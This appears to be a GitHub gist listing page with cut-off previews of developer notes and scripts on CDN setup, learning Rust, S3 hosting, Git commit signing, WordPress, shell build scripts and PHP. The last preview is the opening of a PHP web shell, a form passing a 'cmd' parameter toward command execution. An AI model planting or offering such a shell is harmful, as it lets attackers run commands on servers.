Ricardo Sawir sawirricardo

How to setup a practically free CDN using Backblaze B2 and Cloudflare

⚠️ Note 2023-01-21
Some things have changed since I originally wrote this in 2016. I have updated a few minor details, and the advice is still broadly the same, but there are some new Cloudflare features you can (and should) take advantage of. In particular, pay attention to Trevor Stevens' comment here from 22 January 2022, and Matt Stenson's useful caching advice. In addition, Backblaze, with whom Cloudflare are a Bandwidth Alliance partner, have published their own guide detailing how to use Cloudflare's Web Workers to cache content from B2 private buckets. That is worth reading,

Learning Rust

The following is a list of resources for learning Rust as well as tips and tricks for learning the language faster.

Warning

Rust is not C or C++ so the way your accustomed to do things in those languages might not work in Rust. The best way to learn Rust is to embrace its best practices and see where that takes you.

The generally recommended path is to start by reading the books, and doing small coding exercises until the rules around borrow checking become intuitive. Once this happens, then you can expand to more real world projects. If you find yourself struggling hard with the borrow checker, seek help. It very well could be that you're trying to solve your problem in a way that goes against how Rust wants you to work.

S3 Static Sites

⚠ This post is fairly old. I don't keep it up to date. Be sure to see comments where some people have posted updates

What this will cover

Host a static website at S3
Redirect www.website.com to website.com
Website can be an SPA (requiring all requests to return index.html)
Free AWS SSL certs
Deployment with CDN invalidation

Methods of Signing Git Commits on MacOS

Last updated March 13, 2024

This Gist explains how to sign commits using gpg in a step-by-step fashion. Previously, krypt.co was heavily mentioned, but I've only recently learned they were acquired by Akamai and no longer update their previous free products. Those mentions have been removed.

Additionally, 1Password now supports signing Git commits with SSH keys and makes it pretty easy-plus you can easily configure Git Tower to use it for both signing and ssh.

For using a GUI-based GIT tool such as Tower or Github Desktop, follow the steps here for signing your commits with GPG.

	<?php

	/**
	* Plugin Name: Multiple Roles per User
	* Description: Allows anyone who can edit users to set multiple roles per user. In a default WordPress environment that wouldn't have much of an effect, since the user would have the privileges of the top-privileged role that you assign to him. But if you have custom roles with custom privileges, this might be helpful.
	* Version: 1
	* Author: nikolov.tmw
	* Author URI: http://paiyakdev.com/
	* License: GPL2
	*/

	#Before we can use the script, we have to make it executable with the chmod command:
	#chmod +x ./go-executable-build.sh
	#then we can use it ./go-executable-build.sh yourpackage
	#!/usr/bin/env bash

	package=$1
	if [[ -z "$package" ]]; then
	echo "usage: $0 <package-name>"
	exit 1
	fi

	<!doctype html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<title>Invoice - #123</title>

	<style type="text/css">
	@page {
	margin: 0px;
	}

	#!/bin/bash
	# Creator: Phil Cook
	# Modified: Andy Miller
	#
	# >>> IMPORTANT: Moved to: https://github.com/rhukster/sphp.sh
	# >>> Kept here for legacy purposes
	#
	osx_major_version=$(sw_vers -productVersion \| cut -d. -f1)
	osx_minor_version=$(sw_vers -productVersion \| cut -d. -f2)
	osx_patch_version=$(sw_vers -productVersion \| cut -d. -f3)

	<?php

	// Freek posted a query today, that drives OhDearApp filters (the app recommended!):
	// @link https://twitter.com/freekmurze/status/972299131497713664

	// We can make the query more eloquent, so why don't we use a scope!

	// I
	// Let's make it really eloquent and get here:
	$site->downtimePeriods()

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{